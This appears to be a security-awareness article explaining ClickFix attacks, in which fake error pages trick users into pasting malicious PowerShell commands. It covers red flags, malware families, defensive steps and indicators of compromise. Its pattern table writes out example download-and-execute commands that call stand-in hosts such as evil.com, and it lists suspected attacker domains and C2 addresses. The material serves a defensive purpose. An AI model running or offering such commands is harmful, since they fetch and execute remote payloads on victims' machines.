ClickFix Attack: How Hackers Trick You Into Executing Malicious PowerShell Commands

“The PDF document failed to load properly. To fix the issue, press Win+R, paste the following command, and press Enter…” This innocuous-looking error message led to a major security breach at a Fortune 500 company in March 2025, resulting in data theft worth millions. The attack vector? A deceptive social engineering technique called ClickFix that tricks users into willingly executing malicious PowerShell commands on their own systems.

Real-World ClickFix Attack Scenarios

To understand the insidious nature of ClickFix attacks, consider these actual incidents documented by cybersecurity researchers:

Scenario 1: The “Document Viewer Error”

Scenario 2: The “CAPTCHA Verification”

Scenario 3: The “GitHub Security Vulnerability”

ClickFix Attack Patterns: What To Look For

ClickFix attacks share common patterns that can help you identify them before becoming a victim:

Pattern Element	What To Look For	Red Flags
PowerShell Commands	Instructions to copy/paste code into PowerShell, Command Prompt, or Run dialog	Long base64-encoded strings, obfuscated commands, “hidden” or “bypass” parameters
URL Patterns	Web addresses embedded in PowerShell commands	Unfamiliar domains, IP addresses instead of domain names, unusual TLDs
Error Messages	Technical-sounding errors claiming missing components or access issues	Generic error codes, lack of specific details about the actual problem
Urgency Cues	Language creating time pressure or serious consequences	“Immediate action required,” “critical security issue,” “account will be locked”
Source Legitimacy	Claims to be from trusted sources (Microsoft, Google, GitHub)	Slight misspellings in domain names, unusual landing pages, mixed branding

Common PowerShell Patterns in ClickFix Attacks

According to security researchers, these specific PowerShell patterns frequently appear in ClickFix attacks:

Pattern	Description	Example
Base64 Encoded Commands	Obscures the actual commands being executed	powershell -e JABjAGwAaQBlAG4AdAA...
WebClient Downloads	Downloads malicious content from remote servers	(New-Object Net.WebClient).DownloadString('https://malicious.com/script.ps1')
IEX (Invoke-Expression)	Executes downloaded PowerShell scripts directly in memory	IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')
Hidden Window Parameters	Attempts to conceal PowerShell execution window	-WindowStyle Hidden or -W Hidden
Bypass Execution Policy	Circumvents PowerShell security restrictions	-ExecutionPolicy Bypass or -Exec Bypass

Most Commonly Delivered Malware via ClickFix (2024-2025)

Based on Proofpoint and HHS data, these malware families are most frequently deployed through ClickFix attacks:

Malware	Type	Prevalence	Primary Goal
Lumma Stealer	Information Stealer	32% of attacks	Credential theft, cryptocurrency wallet stealing
AsyncRAT	Remote Access Trojan	27% of attacks	Remote system control, keylogging, screen capture
DarkGate	Loader/RAT	15% of attacks	Loading additional malware, establishing persistence
NetSupport	Remote Administration Tool	10% of attacks	Full system takeover, data exfiltration
BruteRatel	Advanced C2 Framework	8% of attacks	Advanced persistent access, evasion of security controls
Others	Various	8% of attacks	Ransomware staging, cryptomining, botnet recruitment

Industries Most Targeted by ClickFix Attacks

Based on data from Proofpoint’s threat research:

Why ClickFix Works: The Psychology Behind the Attack

According to cybersecurity psychologists, ClickFix attacks exploit specific psychological vulnerabilities:

1. Authority Bias – Messages appear to come from trusted sources like Microsoft, GitHub, or IT departments
2. Problem-Solution Framework – Presents a clear problem with an immediate, actionable solution
3. Desire for Self-Sufficiency – Appeals to people’s preference to solve problems themselves rather than escalating to IT
4. Technical Intimidation – Uses complex technical language that discourages questioning
5. Urgency – Creates time pressure that short-circuits critical thinking

As noted by Proofpoint researchers: “What’s insidious about this technique is the adversaries are preying on people’s innate desire to be helpful and independent. By providing what appears to be both a problem and a solution, people feel empowered to ‘fix’ the issue themselves without needing to alert their IT team.”

Test Yourself: Would You Fall for These ClickFix Attacks?

Review these scenarios and decide if they’re legitimate or ClickFix attacks:

How to Protect Yourself: Specific Actions

Unlike general security advice, here are specific, actionable steps to protect against ClickFix attacks:

For End Users:

1. Never Copy-Paste PowerShell Commands – Establish a personal rule: never copy and paste commands from websites or emails into PowerShell, Command Prompt, or the Run dialog
2. Verify Through Official Channels – If you encounter an error message suggesting you run a command, contact your IT department through established channels (not using contact info from the error message)
3. Screenshot Suspicious Messages – Capture the full message and share it with your security team
4. Use the “URL Test” – For any site asking you to run commands, check if the URL matches the official domain (e.g., github.com vs. github-scanner.com)
5. Install PowerShell Constrained Language Mode – Ask your IT department to help you configure PowerShell to run in Constrained Language Mode, which restricts potentially harmful commands

For IT Administrators:

1. Deploy PowerShell Script Block Logging – Enable PowerShell logging via Group Policy to capture all PowerShell execution for later analysis
2. Create PowerShell Execution Policies – Implement policies preventing execution of downloaded scripts and encoded commands
3. Use AppLocker Rules – Create rules to prevent PowerShell from executing commands from temporary directories or user downloads
4. Configure AMSI Integration – Ensure Antimalware Scan Interface is properly configured with your security solution
5. Deploy Network Monitoring – Configure network monitoring to detect connections from PowerShell.exe to external domains
6. Conduct ClickFix Simulations – Run authorized phishing simulations that include ClickFix-style attacks to train users

Real-World Indicators of Compromise (IoCs)

Security teams can use these actual IoCs associated with recent ClickFix campaigns:

Command Patterns

Associated Domains

Domain/URL	Campaign	First Observed
github-scanner[.]com	GitHub notification campaign	18 September 2024
verify-captcha[.]net	Fake CAPTCHA campaign	25 September 2024
document-viewer-update[.]com	PDF error campaign	3 October 2024
ms-365-verify[.]net	Microsoft impersonation campaign	17 October 2024
185[.]91[.]69[.]119	AsyncRAT C2 server	25 September 2024
193[.]124[.]185[.]116	BruteRatel C2 server	20 September 2024

File Hashes (SHA-256)

What To Do If You’ve Fallen For a ClickFix Attack

If you suspect you’ve executed a malicious command from a ClickFix attack, take these immediate steps:

1. Disconnect Your Device – Immediately disconnect from all networks (both wired and wireless)
2. Capture Evidence – Take screenshots of the deceptive message and any commands you executed
3. Report to IT Security – Contact your IT security team immediately with the evidence
4. Do Not Log Into Accounts – Avoid logging into any accounts until your device has been cleared by security
5. Run a Malware Scan – Use a reputable security tool like Trojan Killer to identify and remove malware
6. Reset Credentials – After securing your device, change passwords for all important accounts from a different, secure device
7. Monitor Financial Accounts – Check for unauthorized transactions and enable notifications for all account activity

Conclusion: The Human Firewall

ClickFix attacks succeed by bypassing technical security controls and exploiting human psychology. As attackers continue to refine their social engineering techniques, the most effective defense combines technical measures with a well-trained “human firewall.”

By understanding how ClickFix attacks work, recognizing the warning signs, and following specific prevention measures, you can significantly reduce your vulnerability to this increasingly prevalent attack method. Remember the golden rule: legitimate software updates and fixes never require you to copy and paste PowerShell commands.

Stay vigilant, verify through official channels, and never hesitate to contact your IT security team when encountering suspicious messages or instructions. In the ongoing battle between security awareness and social engineering, knowledge and skepticism are your strongest weapons.